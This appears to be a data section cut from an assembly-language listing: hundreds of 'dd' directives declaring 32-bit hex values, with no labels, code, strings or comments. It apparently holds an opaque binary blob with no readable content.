dd 379E00B4h, 60981CB5h, 1A3CFB6Dh, 7F1D8036h, 5529AE1Bh
dd 15940017h, 26109E19h, 0FA00A769h, 0BDD25E42h, 362F6FDh
dd 6317C7A6h, 6F81BCD4h, 64E6304Eh, 37AD5900h, 605098E0h
dd 3C3B0789h, 5354A3D9h, 7BB886F8h, 9E710BF2h, 777E1100h
dd 4C986685h, 5C620079h, 6BD3BF4h, 0ED004A50h, 8F491D88h
dd 179DF624h, 0DF72CBh, 95AD898Dh, 0E55C4B07h, 82773ECFh
dd 0B1331361h, 7E046816h, 68F1006Ch, 71471044h, 15001BD6h
dd 9282A864h, 2EE488h, 1AC0FF6Ah, 0AD129EB2h, 87E0AB00h
dd 0FBF709DCh, 827C007Dh, 0A2AAA4AEh, 0A35081D6h, 65206DE8h
dd 6F3E1D74h, 0C30C6531h, 5700CB12h, 0F099CA80h, 364E6Ah
dd 31B3E0F6h, 61530940h, 79703903h, 0C0DEB5E4h, 964565CEh
dd 1F9200A4h, 6AE519CAh, 8AC53F00h, 78BA02AAh, 0F7AE86Dh
dd 6F901795h, 0A56B0F40h, 68F48921h, 480E810Bh, 0A487805Dh
dd 0F1514B5Bh, 1DF0D4h, 2AB12E25h, 686596E5h, 0D8F9F00h
dd 0EF90F122h, 0D1AF00DFh, 711AD3DAh, 6D00FD9Dh, 60ECB232h
dd 120708Bh, 984A943Ch, 0C3EE2F42h, 19009EC3h, 81F17CF0h
dd 2D57AD1h, 52DCF205h, 0E850BF43h, 0BC0E3902h, 0A326AF17h
dd 0A8757C90h, 3F1AB041h, 0BA80A538h, 0F26AFEB2h, 810302FBh
dd 67C3EB2Ah, 0B06498C7h, 0A7079DEh, 8F0608CFh, 47EA0068h
dd 6707CE46h, 0FC6D6300h, 1B18907Bh, 0B830009Ah, 0A661C12Fh
dd 4372E72Ah, 0A33F2603h, 0C09CD44Bh, 0FA21983h, 0F725CB4Fh
dd 0DC28E780h, 0D46F17D0h, 0E42780B8h, 1D3C6443h, 0FA6AFB9Ch
dd 9336F400h, 1E830C0Bh, 61D03207h, 8F757014h, 9AC0081Eh
dd 8250A5F5h, 24711FA7h, 0E3D900F7h, 0AFE577A2h, 0BB96E71Ch
dd 916E4F00h, 393C9BDh, 447F27AEh, 0A80050E8h, 661AA0CAh
dd 0E0488EBCh, 644C1B1Bh
dd 84C8206Eh, 4F00BD20h, 0B7A7FC38h, 62D7ECEh, 0D2F2D830h
dd 0AA18C03Ch, 4008433Bh, 2ECE0CCAh, 0F928E2B4h, 740ED028h
dd 4C994509h, 508BD9h, 27234878h, 0DE9E00E3h, 9411D84Ah
dd 70FFE70h, 1BEA79h, 91E69BB4h, 0C250600Ch, 34E138F2h
dd 2C005CF6h, 0EC567115h, 0C5246h, 474E956Bh, 0FE387067h
dd 6DB2BC00h, 766E730Ah, 577BF5h, 67CD5B97h, 467745CFh
dd 15F8740Fh, 0A9B8331h, 1394A871h, 56291462h, 96078639h
dd 0C0434E92h, 46E779CEh, 247490EEh, 0A185D200h, 4518A936h
dd 315B0E9Bh, 5CC0FF05h, 0F0CE4EF3h, 0D1586000h, 0D9AC9904h
dd 2D9A3DA2h, 2FD75F5h, 3B98E553h, 90A0AB0Ah, 0BC5EE486h
dd 265F0400h, 6E3F16DEh, 0E6FD158Dh, 8100B051h, 0A23712C3h
dd 7113C4B8h, 20000F62h, 45929746h, 26C94CAh, 3E293C4Fh
dd 0CD8BD0A0h, 5E60440Bh, 0A240B210h, 68660CA9h, 130D5D8h
dd 2CB36E16h, 0CE381D00h, 12EF7A42h, 0DE2418h, 3786E904h
dd 5200693Ch, 4DE274EAh, 3064BB47h, 0BD6032B6h, 0ACE8D8C0h
dd 0F7A03490h, 8A18CAA8h, 5038414Bh, 52060C3Dh, 0F0F1DB4Eh
dd 9DFBF3Ah, 0C095E7D4h, 80D64Ch, 76C79D8Ch, 0BB7FBD9Bh
dd 0CDE5C404h, 6BC03AF8h, 1CBFC14Dh, 49AE5785h, 4B80252Ah
dd 0B1BC5FE7h, 0AF3E3A12h, 7A4BDA00h, 984F32BBh, 0B8FF0124h
dd 0D08638Bh, 92802F19h, 1A576D31h, 112F03D1h, 0E3060415h
dd 10692Bh, 1E44FE99h, 8A225ADDh, 305EEB00h, 0D3C58EF7h
dd 392FFAE3h, 0C40CF1BFh, 0F628B940h, 779C8340h, 58854CA7h
dd 3949352Ch, 41DEAE1Dh, 6D103A88h, 7747F4B5h, 81942300h
dd 0FA8C371Dh, 9397009Bh, 7CB013E0h, 0DB077F15h, 7698F5F2h
dd 0C0797350h, 25CF015Eh, 9DA6463Ch, 0D1D0F728h, 8200ADFBh
dd 2C857E47h, 0D423C4h, 39904486h, 0FA56313Eh, 994F0800h
dd 5BC6982Bh, 0BD100BBh, 929C8E61h, 0A400D91Ah, 71F807C9h
dd 605D2Dh, 984F053Eh, 0CCAC729Eh, 7F3C4D01h, 8DADBF30h
dd 73390C60h, 0EB7100ECh, 92F374D9h, 0A4A0E447h, 7F001EBDh
dd 4451CD62h, 35E221h, 34D5EF19h, 0DFA03A0Ah, 0DA3DC8E9h
dd 16687117h, 0B6C16704h, 0BF8D76C0h, 426B02Ch, 244C463Ah
dd 386C8188h, 1A78A63Eh, 0C2754400h, 5F46A0h, 278EF41Ch
dd 7FA1DFF9h, 808D213Ah, 2B26A24Bh, 0FC7391h, 6A5E2861h
dd 6553797Eh, 0C4008E78h, 0DBA0E198h, 1C59505Dh, 0C0AFD57Ch
dd 9425A9C3h, 1B012460h, 99A3DB10h, 462006E3h, 0D18F0002h
dd 0D8C83674h, 0BF24CADDh, 0A1002042h, 0F6AE7E9Bh, 3972B2h
dd 0EA824A7Ch, 0CDD2CFAh, 96A97100h, 6867DB44h, 1A2400ADh
dd 988F6640h, 2700DCF7h, 83616F23h, 1441D67Fh, 0FCD9C27Ch
dd 0B9EC13h, 0C8E8A15Dh, 0D0003A56h, 0D91408EAh, 0C61766h
dd 4C218B9Ah, 0A843EC46h, 2B865E00h, 0CC8D87B8h, 0AF1D3CCFh
dd 0FEE0D0h, 0A9CBB80h, 146B4C8Ch, 575E000h, 1CD160FCh
dd 2B760086h, 0BA28EDF7h, 0C77BA8D2h, 0C3BDDA00h, 1EE511A6h
dd 20310049h, 0A2E47F23h, 85E4F28Fh, 88841A0Eh, 936CA7FDh
dd 4CCE07E0h, 0B4AC1EE5h, 518A801Bh, 0C4F3729Bh, 7A00E475h
dd 64CDC066h, 388790Dh, 516DAAD0h, 0C2E0DF58h, 0E1011E9Bh
dd 0C4BE6B3Ah, 0E08024E2h, 0CF6C9E75h, 20F76FD8h, 83063587h
dd 0AEEAE0CAh, 0F0590058h, 0ABF8A762h, 0FF0336F1h, 85804EB9h
dd 0A3600074h, 2DF4C948h, 0CB4D4249h, 70FB0000h, 50EB2B07h
dd 0F040025Bh, 0DBCD3963h, 0FC31B4A0h, 0EC00ED10h, 0EBA2323Ch
dd 4633FAh, 25D2C46Ch, 0BFE0B8D4h, 3215DE00h, 0B360A29Ch
dd 0F02B00CFh, 0C8EB1037h, 0F979F1C4h, 8C002AB8h, 277AE551h
dd 3879BB3Dh, 0DC81C9E1h, 1C76569Fh, 0A6998A4Bh, 0A80FCAAh
dd 7B3F52B6h, 79087F82h, 0BCB70087h, 5EC20D79h, 3D18549Ah
dd 1A786BEDh, 0FA2B082Ah, 9809B0FBh, 5A542009h, 0E9AC9EAAh
dd 0C57EE4h, 0C0F219D9h, 1F52E50Ch, 46BB8100h, 2BAE20E3h
dd 9885000Eh, 5AF76BA3h, 4D00FFD5h, 4B91BA9Ch, 1B9171Dh
dd 0CDD90106h, 0E813329Fh, 3A1EE8F8h, 0D2806C40h, 6A842409h
dd 0C1810029h, 0F105EFB9h, 0E9769E5Eh, 0E77B7E00h, 97DD67D0h
dd 982A0F08h, 3EE0C08Dh, 7243D3F6h, 0EF298C00h, 3FEC374Dh
dd 523D0030h, 0E3F4E5F0h, 0E2620FFh, 7E02BDD9h, 80B2CD24h
dd 0FD05A79Ch, 89B80032h, 10E99BAh, 600B131h, 77190FE4h
dd 0EDEA75Dh, 448A0B6Dh, 0C4023243h, 0FB741590h, 0EE8FB80Eh
dd 0E7C2E30Eh, 701DA9E0h, 0F13820h, 394B2938h, 9FF23483h
dd 2BF88F14h, 69E900FAh, 574EACA2h, 45473B84h, 0FE8613h
dd 4052C2B0h, 96004CEFh, 37A5DF0h, 853FEAh, 0A92B0C48h
dd 8AE3ADE6h, 44D78105h, 0AC0705BFh, 0BC708E78h, 109AF61h
dd 0C2583B9h, 8003A769h, 8B09D20h, 39FE0ADh, 7B49DD75h
dd 0A4A1952Ch, 0EC51DC5Fh, 86201C02h, 80C49AA1h, 0FB7FB0D2h
dd 1490CDh, 202156AFh, 7A3C6E19h, 18BF5A30h, 6C6892h, 1FD0DF5Ch
dd 0A141B4C0h, 9272383Fh, 0FA1E9DF6h, 0B1001E2Ch, 2CF135DBh
dd 169072E2h, 384D93h, 6F3FBF04h, 5D7E3764h, 808DFD3Eh
dd 3421D7F8h, 3D01ACAEh, 0C280519Ch, 0AF1FE595h, 8000144Ah
dd 0BD456596h, 0EA0B985Eh, 1DC0087h, 3FCEC8AEh, 5B007563h
dd 0E047C629h, 2AA1EFDh, 6C4BA0FCh, 3C4038ABh, 9B00A3F7h
dd 993F6A4h, 0D8FD84h, 14C0C135h, 0CBBE65F2h, 4B81EE07h
dd 7600E052h, 0B93926Ah, 72789BF3h, 41008A0h, 3900999Ah
dd 0FB0E19C6h, 7EFAAA8Fh, 0D7A60013h, 0A84B7B3Ch, 0E80764BEh
dd 0C20F2808h, 0A6A33050h, 51F4023Ah, 0E4702389h, 0C463FFC0h
dd 7B4E4500h, 0E7AD2471h, 805100D1h, 338E96BDh, 0B01B12BEh
dd 0E181545Eh, 6DDC651Ah, 623A33FDh, 0B4A1F508h, 643931AFh
dd 3C07685Ch, 747CE8DDh, 0A3897AF3h, 0BBC8A0F4h, 1468BA23h
dd 2CAF3231h, 33C0779h, 40E4BE2Dh, 529EFD0Ch, 0B1654D00h
dd 0F7905F27h, 9C943BA5h, 0D4A7BF07h, 0F9BBD077h, 0FB2E89E9h
dd 7507942Dh, 384724BDh, 0A4D0E005h, 1E9C23B2h, 1EE13A98h
dd 80B147Dh, 0FC9A6100h, 0EE74D4ACh, 0BBB67A0Ah, 1588501Dh
dd 64C4055h, 0D30CEC2Dh, 68C8AC03h, 0DF833AC2h, 0E054CB0Fh
dd 214922A0h, 5A018D2Dh, 87E8673Fh, 1C201118h, 6BF21797h
dd 31A0019Fh, 0FF9D0970h, 0E964190h, 0A8671C00h, 51BE5776h
dd 0B7D7E90h, 6FF1EF66h, 68624E8Eh, 2DE04F38h, 0A1E07C09h
dd 2D1F6603h, 0D8882A22h, 5EA459Ch, 0C8FCE332h, 0F065C781h
dd 0A4A91C4Ch, 6DAD3400h, 2F251043h, 983000F7h, 0B49718E0h
dd 5C009E01h, 59BADB39h, 2AA92F9Bh, 0A0E1E3h, 0A02847D1h
dd 5475A6B9h, 0B09B266h, 3FF10E21h, 6803B28h, 0B68C29E9h
dd 80133327h, 72D5CA5h, 0A659C8B9h, 3F283EC1h, 85718EF8h
dd 28F69E83h, 0D2C3D0AAh, 1BA20373h, 5219044Fh, 0E4205000h
dd 6611DBA1h, 0F0574835h, 0EF3B0971h, 4420E717h, 43235679h
dd 44D6201h, 3FD5A63h, 218072D1h, 19234993h, 4A7C61B3h
dd 0B82C9600h, 1F0692C2h, 0E31535E4h, 5AC8D060h, 6F1FC187h
dd 0D486B5E2h, 1820832Dh, 0B93926DCh, 40A0E5A8h, 1213F033h
dd 3200655Eh, 7BBBD30Fh, 0C2370A1h, 491D1738h, 6D133428h
dd 2B00C659h, 0ACB9D6FCh, 274E0014h, 9F6858E1h, 600C3805h
dd 48301065h, 0B780025h, 34663DC4h, 0AA0172BFh, 0C92C9E15h
dd 0DBE4064Bh
dd 4DE70071h, 3BC774FCh, 0A0012D76h, 0F3454EE5h, 0F7218104h
dd 75CCCCh, 0D033F7AFh, 0BDE1C43Dh, 6DDDD900h, 0CC1C5D88h
dd 9B910240h, 744FE283h, 760648C0h, 0F23AE8F9h, 0F1B5C3A1h
dd 0CAFF85Bh, 0ACC53Eh, 0A6BB6C7Ch, 7C509A4Ch, 85FF03B0h
dd 0C5A4A725h, 0EECC2801h, 0D6590AC6h, 21C2FE4h, 0E38EB6DEh
dd 2EE08BE4h, 8C009D0Eh, 0C09197BDh, 70D7FAF3h, 5740042h
dd 26347CF6h, 0BB006BFFh, 11F1A110h, 0E55DCFh, 0C661D6F7h
dd 0AA79B3D8h, 6C72CCF4h, 706E3800h, 8C5360E3h, 499C039Bh
dd 8DF7E9BFh, 0B7695F8h, 12897502h, 807D8CB4h, 0C51B0C8Ch
dd 9450E9FDh, 0E13BE4h, 0BB66B09Eh, 6080C230h, 0D48E2A50h
dd 0EE7FBC0Bh, 0F3B58072h, 9342C3h, 0E7E473F4h, 6D16A90Ah
dd 95B3CC00h, 0B2D64AF5h, 39C50057h, 20C3D1CBh, 31003DAAh
dd 3A0C866Ah, 6334B389h, 0C68A0801h, 0A9962000h, 824B376Ah
dd 0F08E1ECFh, 95CAC01Dh, 5F2DF8A6h, 0B2BD8D00h, 2E3E4FEEh
dd 859100F3h, 2AE195CFh, 2303AD1Dh, 0CE60F734h, 2E180F7Dh
dd 6DA0264Eh, 0C0F5DA20h, 630052DEh, 0E656445h, 0D18E0CDBh
dd 0A008DC48h, 6D0321C0h, 46B64h, 0E075DADEh, 0A05BAC76h
dd 0D11D80CDh, 803AE091h, 0CDB6AE0h, 70448CD2h, 6AD8077Fh
dd 0E0829BDCh, 23ACCAD9h, 0C3ABEA01h, 26977C0Bh, 0D3040F1h
dd 69AE60D5h, 9187FE8Ah, 61142E01h, 628CA529h, 219622D1h
dd 0AA7604E3h, 182980ECh, 0CD28EB96h, 7D0A808Eh, 2C48992Bh
dd 780D511h, 9C2E9288h, 1E1B208Ch, 884F7800h, 0A2A93B18h
dd 44980014h, 419F566Dh, 321DC586h, 26CFDAF7h, 5D172022h
dd 2028E7Dh, 7BF4CE66h, 8E4089BFh, 0B7002037h, 0FFD7CD32h
dd 3C8644E5h, 0EA004EF9h, 84A836Ah, 5F1D8B09h, 0FBC052D2h
dd 0DAD59015h, 0F74500A7h, 0F0EFFD11h, 1F009F38h, 0DC021392h
dd 0B0F83142h, 9D790E18h, 16E0F1C4h, 95F30522h, 7CECEAB0h
dd 8DD7B500h, 0AA57FC68h, 0E44901B4h, 0B638E8E3h, 0B21EECA2h
dd 3D6DF500h, 0B785D375h, 80A03B3Bh, 710A7387h, 50FEE760h
dd 0C487A464h, 3B210807h, 70409899h, 343E2B6h, 3EEF4D94h
dd 9C9077A8h, 4F3D36E1h, 71270793h, 0E240EE44h, 18870510h
dd 11634374h, 0EFF82818h, 9F18EA78h, 9E1865BCh, 0D86A007Dh
dd 54E7340Ch, 0B080702Ah, 0D1D0E92h, 4F606510h, 0BB4AA526h
dd 516B6930h, 0C2C1E9h, 5239EE37h, 535A1170h, 12780CF6h
dd 70068A31h, 3180685Bh, 4B0EAB55h, 9A0EBE81h, 0C0831987h
dd 6232B478h, 7F3B0CADh, 2199C78Fh, 381E7137h, 0A5E16F83h
dd 0D9A4C00h, 3C098CC9h, 0BD00DD9Fh, 5A100EFEh, 30D0E9FAh
dd 663C1184h, 8D397C31h, 2001FF73h, 0FD790504h, 56D4814Fh
dd 0ACEA189Bh, 0D18049EFh, 0CE18F9C3h, 88198B9Ah, 3E5321D4h
dd 840A1173h, 1154CD59h, 8505C1E0h, 2180C0C5h, 0B55EE5DEh
dd 0A7316086h, 12C7A10Fh, 604236D0h, 0FA72B111h, 9000F7C5h
dd 0F954C428h, 509326A6h, 3371E03Ah, 0C1D16956h, 0E15B703Ch
dd 0E5578C11h, 7C2894F4h, 625148Fh, 0C72254B8h, 3B69C463h
dd 8039155Bh, 5C0088E0h, 24AD5369h, 1700BDC7h, 0CF7BAF95h
dd 0ADDA5A6h, 0B38D4AAEh, 596F1BA8h, 142A26C2h, 0DF498918h
dd 9F5701C8h, 0EA59CFDh, 76E4D8BFh, 287C6E0Fh, 8BE70160h
dd 804921ECh, 1E00A4C3h, 0F91B80ACh, 0D02380Ch, 0EBBFA0E8h
dd 0FF5A5300h, 0E93B2D06h, 1079E49Ch, 780CFA5Fh, 5B1C212h
dd 72213803h, 73903B4h, 605A618Fh, 0D68DB1F0h, 0ACB719C0h
dd 5DD3470h, 9C433DF5h, 3788630Fh, 8E3E23A8h, 0BAFC5A00h
dd 0A9CCC638h, 9FE10307h, 0BECDD486h, 22547877h, 0CB0B1784h
dd 0D87EC5h, 47B172D5h, 19FEE267h, 0E802FB9Fh, 81BDD9D2h
dd 0D9C9E31h, 0C824AC86h, 7A0388D5h, 2A0B6870h, 8140C4EBh
dd 0C8BCB38Dh, 41F7191h, 0BE5D229Eh, 9052C183h, 98FED23h
dd 82B3EC4Dh, 0A85A4403h, 4A27D105h, 0FC4FF25Ch, 5B2B0020h
dd 0DD5A1984h, 116B4D20h, 6F102459h, 3F5FB10Dh, 3B314118h
dd 0C04B219Fh, 0FCB36679h, 2175BCF3h, 0DC53A400h, 155AF45h
dd 577705C9h, 23AD4225h, 610041F4h, 2886D12Ch, 18FE39E8h
dd 70BAD0B9h, 762E91C2h, 990788FCh, 9E0337Fh, 0A4C4C885h
dd 3F711A4Ch, 0B487C9F8h, 30A24133h, 1E6998F0h, 0FFA3B1h
dd 32A19392h, 0EF402F5Ah, 0FA97E80Eh, 0A36FC1B2h, 24223DC3h
dd 3CAAF404h, 2100C5B1h, 22E321B0h, 61841440h, 34B02444h
dd 895A5B8Ch, 1E70EDh, 2CA5A826h, 0EB7503E7h, 0A1F3B0Dh
dd 1C249991h, 8F940F27h, 5420C2A6h, 79622977h, 99C5193Ah
dd 0F1591EA0h, 71D81F10h, 9AE1250Fh, 0A176809Bh, 99919CF7h
dd 18450ECCh, 208BD163h, 0EA361015h, 0AEC00180h, 16D34C42h
dd 6F99024h, 0F1F85F83h, 528E97Ch, 62001837h, 0F69ABA76h
dd 0F4C60CE7h, 82E09A8Fh, 78C9084h, 27D4D299h, 3EB2E090h
dd 3FE4E37Ch, 30DBB70Ah, 3B88D4B1h, 9B5A895Fh, 857CC99h
dd 67D30705h, 434C19C1h, 71101826h, 0A8858C72h, 0C0BC5FCAh
dd 35547D77h, 2413D797h, 0F472EAE7h, 9E5B0370h, 0B81A1100h
dd 5AA9FA85h, 42DB0034h, 0D5538C0Fh, 3F07EC79h, 2274DAD6h
dd 8F64F46Ah, 68C4EB28h, 0F0C81143h, 886643Dh, 0FE28C880h
dd 6C714D03h, 0F1BE6808h, 62A852h, 3DDADF01h, 65DBD58Ch
dd 416EE518h, 10C7A770h, 1CE8A277h, 0C19B7D14h, 19342C55h
dd 20D4550Fh, 0FC864C20h, 75C8DD00h, 0DF7E802h, 0D8D41DE4h
dd 0C7E3859Bh, 408C44B9h, 26545155h, 5F01EE16h, 0D12A59AAh
dd 5A8814D3h, 0E89AD015h, 30034C6Ch, 0FF0EA40Bh, 7CBCB0C1h
dd 709001E5h, 9F0A3471h, 0BD20C03Ah, 1F06EB02h, 4A6E8A3Ch
dd 9FC5C01Ch, 0DF6B0639h, 0E9196A8Ch, 99595B30h, 383B9E85h
dd 0E700B41Ch, 2F88DFA4h, 49F4D135h, 8B4E7E3Ch, 0B81822EFh
dd 0EE7F5A24h, 3580334h, 0B9E9B840h, 26FABB8h, 92CFD115h
dd 0EC43B4h, 18FEC607h, 533117B0h, 0F3002809h, 0B671DAB1h
dd 0E50F93F7h, 20616E95h, 82E806BFh, 0AB08067h, 0A535FE00h
dd 629B77B9h, 46372A18h, 76E294h, 2BB2BB4Ch, 0EBECDD53h
dd 100A69D6h, 3740F87Ah, 1B5BBF64h, 81771FF0h, 8C88DE4h
dd 0B40281BCh, 0D10F8D2Fh, 9C156097h, 73A00024h, 0B6B00A76h
dd 38241F47h, 0DD001990h, 0FF18D38Bh, 4C914C41h, 51A11A9Dh
dd 5200F8CCh, 0C36A9B25h, 25694A85h, 0C100EA1h, 0DC915C6Fh
dd 39072200h, 9A12BAh, 72D4F84Bh, 0B573D3ACh, 0F405ACA1h
dd 0A4061ED2h, 5E5271D6h, 84C4AAC9h, 30537AE4h, 35F34FF4h
dd 910B7C70h, 10A8696Bh, 0E7A81A0h, 0A9CECDD2h, 0C58B7380h
dd 0F108A269h, 2C2FA86Eh, 2C0E40B0h, 71C68A3Ah, 696B80h
dd 4EC707EFh, 0EBA40CBDh, 0B2228700h, 0A21877D2h, 0AAC10972h
dd 64802561h, 0EFED3C9Ah, 0A2E8125Ch, 52D2116Eh, 946460A4h
dd 532C200h, 9A4ABA8h, 91421508h, 17029864h, 0E690D261h
dd 6EE5B780h, 549A29DCh, 61C0CEF2h, 0AA772A97h, 3D1004Bh
dd 0F3DF4FD8h, 0D2013473h, 0F06DB2E8h, 182426B5h, 8F976C9h
dd 665571E4h, 90081880h, 0CD23F0h, 36E5DB28h, 1D346578h
dd 7911B8B1h, 0FDC46C00h, 7B7A290Ah, 3D0B463Bh, 64EF827Dh
dd 0A6161922h, 0E10DD0h, 5BE84605h, 0A909EC1Bh, 52F98604h
dd 80CCB5C7h, 8FFE0705h, 0D50B926Ah, 0A8840603h, 9600E1D3h
dd 62F4F735h, 18684DF1h
dd 99E5B1A1h, 1C949084h, 0BDFA58h, 1E242ABCh, 60070E03h
dd 3F80E117h, 2680441Fh, 86EBDA3Bh, 581252CAh, 84437300h
dd 0E260F41Bh, 0AE3FC502h, 29BADDFh, 68697286h, 0F4911078h
dd 0C731075Ch, 805701C1h, 63C20426h, 0CE7D4816h, 0B7F45829h
dd 582976A0h, 86C204B1h, 70C64A74h, 8E8F321h, 0BCAA633Eh
dd 11844h, 3242B1E6h, 0FD698015h, 0BA6A3506h, 63202336h
dd 0F04A60B8h, 30B4A5A4h, 6D89BD80h, 0A8B9CC4h, 0C931713Ah
dd 3B159184h, 64040C54h, 49E31837h, 0C808CE2h, 5888BEACh
dd 42ABCB00h, 0E2259F82h, 1112019Ch, 79BA37C0h, 3FD47349h
dd 2899CC1Ah, 0BC24905Ah, 4F4048E9h, 1C2AEA8h, 96C4E5E0h
dd 0F26C3ADBh, 889F90A4h, 8D03FB04h, 184BE3F6h, 71AFD0D4h
dd 1A38B19Ah, 6C84694Ch, 9D125FF8h, 7C1090D6h, 0C0B13Dh
dd 864D03C2h, 0B8A21E4Ah, 7728FC8Dh, 0D9560030h, 8EB8A9Bh
dd 54A825E0h, 7280CC91h, 0D24F009Ch, 7A8E9E5Eh, 131B8111h
dd 7D95E821h, 28F02577h, 0F4B09C8Bh, 5227BD2Eh, 0EECFC7Dh
dd 90C0FE04h, 97AC9894h, 7811B426h, 0C3EAE9C4h, 23B162DAh
dd 69E993D5h, 3D88CC2Ch, 0F20156B2h, 6FF8CB2Ch, 0D60020F9h
dd 9FDB88h, 4166AFF7h, 0DC59C7F5h, 2815612Eh, 7E21B08h
dd 0EB9930FDh, 77801CA2h, 0E8690048h, 0F83BCC00h, 1672A764h
dd 2E02070Fh, 7BD67632h, 8DD825h, 6F348818h, 92035742h
dd 8CF67E3Ah, 5C9AB80Ah, 60F20BB9h, 8800B1CDh, 9EE4BB31h
dd 89BFA502h, 5BE7268Ah, 85B00768h, 5F70F01Eh, 36FAFBC3h
dd 86CDAF0Ah, 6A13ECEFh, 644328D0h, 3EA70209h, 0FE322370h
dd 0A0901F62h, 0DB0372BEh, 73891CCDh, 1226007Dh, 65DA319Dh
dd 1492E477h, 0C0EBE00Bh, 0B9AC90A1h, 383F7E5Bh, 0C1A677B8h
dd 21C28844h, 28E909BAh, 0A0A04C0Dh, 194408B4h, 0D063F6F3h
dd 0EDFC10D4h, 786800F7h, 0BA5B9DD9h, 5D02A6DBh, 24B106B3h
dd 518AC21Fh, 407B9C10h, 7C0C5885h, 4901284Ah, 2C87DE61h
dd 7988E2CAh, 0F2001147h, 0D7A4FF1h, 427300E1h, 2375541h
dd 0AE5C53C9h, 34199314h, 8021D8E8h, 9D105433h, 0CED82E9h
dd 1F8C9861h, 71B960DAh, 72255737h, 0C78074B1h, 691A3332h
dd 2527EC59h, 8003E716h, 0B3C43DB8h, 9982004Ch, 3694C5B9h
dd 87030392h, 2B93052Eh, 5FB05000h, 4E1C07Ch, 990E6EFFh
dd 20444E71h, 5B49D359h, 2EF8544Bh, 0B5021E1Ah, 65667C2Bh
dd 0E47B60A0h, 9D313C13h, 9792C8E0h, 0E0A4A814h, 6CCFE13h
dd 26B1AA00h, 1775534h, 7843D8C4h, 0FC6E5470h, 0CD568E85h
dd 0FA370038h, 71D2E09Ah, 267C2Fh, 173D83Bh, 650B626Ah
dd 21002891h, 8A965F67h, 48BE4A83h, 78806B48h, 0DE364544h
dd 30710207h, 3B437A68h, 210A4C5Bh, 8249B8E3h, 116B5720h
dd 0C051EE3Fh, 106A8489h, 0E6FB0FCh, 92363DCh, 0D82FA5C1h
dd 8664248Ah, 6A608CB4h, 13E092DAh, 5407AD30h, 5322B0C8h
dd 46070CE4h, 0E9AA436Eh, 7C130F40h, 8A790F49h, 9A64C21Bh
dd 0DF9C8839h, 91C90300h, 5778F1F0h, 0F67B2690h, 404644B8h
dd 82E63EC9h, 0FC9D0FBAh, 8377724h, 4A941098h, 0B0CA2E68h
dd 742B964h, 804C12F0h, 77CC6B0Fh, 6ADE8072h, 28912316h
dd 44B8229Ch, 21033954h, 68B3E3F0h, 0D1C38875h, 1CE1256Ch
dd 0A2E9B805h, 1FC106C8h, 112278h, 3B598FFDh, 0EA564370h
dd 0C71751C1h, 0EC54BB8Ah, 0A2DA08E0h, 95CC4FCh, 27FA4207h
dd 984CC009h, 8A4C6F44h, 1E21B360h, 34943200h, 4A6ADF99h
dd 30E25A1Ch, 0B216A968h, 47926306h, 44E19A08h, 0C20287F2h
dd 0B43E1477h, 8EA0A2B6h, 0BFA12CBCh, 6B390304h, 70816D63h
dd 0ED08D561h, 1368B88h, 0F573139Ah, 3965C9F7h, 48808BCCh
dd 4BA5A94h, 0E4CDC25h, 321C9028h, 0A750FF0Ah, 0B7FAEB2Ch
dd 3B511E00h, 62CD3C41h, 0DF4316ADh, 0D8040405h, 2800B672h
dd 842D30E9h, 71303061h, 89676444h, 0A4B205h, 83B1FFCAh
dd 294AF5Ah, 9871FF3h, 38C0D161h, 0E123C12h, 1C563275h
dd 0F7084800h, 5403C639h, 13EBE009h, 0D05F29D5h, 91AF7D04h
dd 96DA5600h, 0D26C0B06h, 0D45C1D5Dh, 637A8134h, 0FA8C61D0h
dd 5C93F871h, 0AEF51097h, 3E3A6380h, 0DBAA3E2Eh, 752F7D02h
dd 9D625A50h, 405FE024h, 0FE3999C0h, 74234C48h, 0C8AE0274h
dd 0E141C70Dh, 3C0648F1h, 0C9C940h, 6F8D94EFh, 143BE0CAh
dd 88A8BF5Ch, 7E97CBh, 1FFCE7CAh, 9700E9B0h, 24D8563h
dd 16249BC7h, 4100B66h, 8AA75AFCh, 289011C0h, 6B22F44Ch
dd 0C255DB1Fh, 97210EC1h, 14E8A08Fh, 447C5C4Eh, 7A6AD300h
dd 0C5FD92F7h, 887CC74Ch, 971B8153h, 0CB942B50h, 0EFB8DD9Bh
dd 0D60388BFh, 7F4D8957h, 5681E42h, 0C0B9920Fh, 0FDCF5298h
dd 19543167h, 7CCCD9h, 0F6854912h, 0B8E7F9B6h, 45661D00h
dd 575D587h, 0D17404C7h, 0B34393DDh, 12FF2D88h, 0A8F4D9DCh
dd 3E70563h, 5ED5F143h, 800BCD0h, 0C6716A90h, 0EB02ED4Eh
dd 5FB1C7ADh, 7E2C5AF3h, 0B0F1C0C2h, 94CCADE5h, 90A9F804h
dd 7492425Eh, 8CCE7Ch, 1447F41h, 8B9BB404h, 693E2D1Fh
dd 9188BCE4h, 0A25A8B5Bh, 0CED8844h, 416A5A85h, 89C8E40h
dd 899C46C6h, 35090567h, 1217C883h, 0CCEAB8A1h, 0BB00AA34h
dd 0A3007C7h, 77E61316h, 0DFD616B3h, 6078D28Dh, 6201A052h
dd 35FDE6EDh, 0F8200378h, 0DCB5881Fh, 7C443700h, 573FF826h
dd 0BE3B05F4h, 0D1ECA419h, 8024A044h, 7D8CEB49h, 3F291A11h
dd 3280865Bh, 0B0A2B18Ah, 0CD074A6Eh, 2B5EBCD4h, 77FF01B1h
dd 847B247Dh, 0D50158B0h, 0DF1CE5E0h, 7054094Bh, 0C01FB488h
dd 29FEF71h, 8F001C78h, 43543FB0h, 1C5E2373h, 44E9410Ah
dd 0A431ABEBh, 0F501B4ECh, 0B696FC64h, 2C411E42h, 682269C2h
dd 5D8FBB00h, 0AF6124F1h, 46561400h, 6C7F30C0h, 0A6963986h
dd 852F03FDh, 5D9141FEh, 6F5B3900h, 0F53BBB03h, 3A2675B5h
dd 0B2334B54h, 0F4E3B710h, 8BD1935h, 8ACCA107h, 68164310h
dd 831C0DFh, 0BB271131h, 0B595F50Ah, 840328AFh, 0E1387D04h
dd 20BFD6FAh, 0FD364881h, 8445684Dh, 4927B069h, 108D5500h
dd 90032AFEh, 92F5C465h, 0CAC2E028h, 0B741C5DDh, 0BC4C0835h
dd 11CC8581h, 0EAE89FFCh, 39F46083h, 0F2B6555h, 7526210Bh
dd 46FC833Bh, 7148395Bh, 0C5C1A960h, 0D57E7A7Dh, 73A66A06h
dd 0A58B44Eh, 48500169h, 0C02F1074h, 8ECCF9A8h, 13AE08A7h
dd 161847A2h, 6C94C220h, 0FA09B1DAh, 1611EC60h, 60D395h
dd 49FA4D7h, 5998B82Fh, 0C040836Fh, 9C0D69A7h, 2E2B0F7Ch
